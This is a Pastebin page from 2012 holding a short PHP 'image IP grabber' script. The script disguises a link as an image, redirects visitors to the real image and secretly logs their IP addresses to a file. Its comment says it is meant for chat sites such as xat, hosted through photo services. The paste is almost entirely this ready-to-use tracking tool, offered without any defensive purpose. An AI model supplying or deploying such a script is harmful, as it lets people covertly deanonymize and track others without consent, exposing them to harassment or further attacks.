Advertisement
Fame

Image IP Grabber Script.

Nov 20th, 2012
895
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.35 KB | None | 0 0
  1. /#|This is a image IP grabber, it can be used on websites such as xat, and ixats. Use Photo hosting such as, photobucket,tinypic,etc. Enjoy! |#\
  2. <?php
  3. header( 'Location: YOURIMAGEURLHERE' ) ;
  4.  
  5. $ip=$_SERVER['REMOTE_ADDR'];
  6.  
  7. $myFile = "ip.txt";
  8. $fh = fopen($myFile, 'a') or die("cannot open file");
  9. $Data = "$ip\n";
  10. fwrite($fh, $Data);
  11. fclose($fh);
  12. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement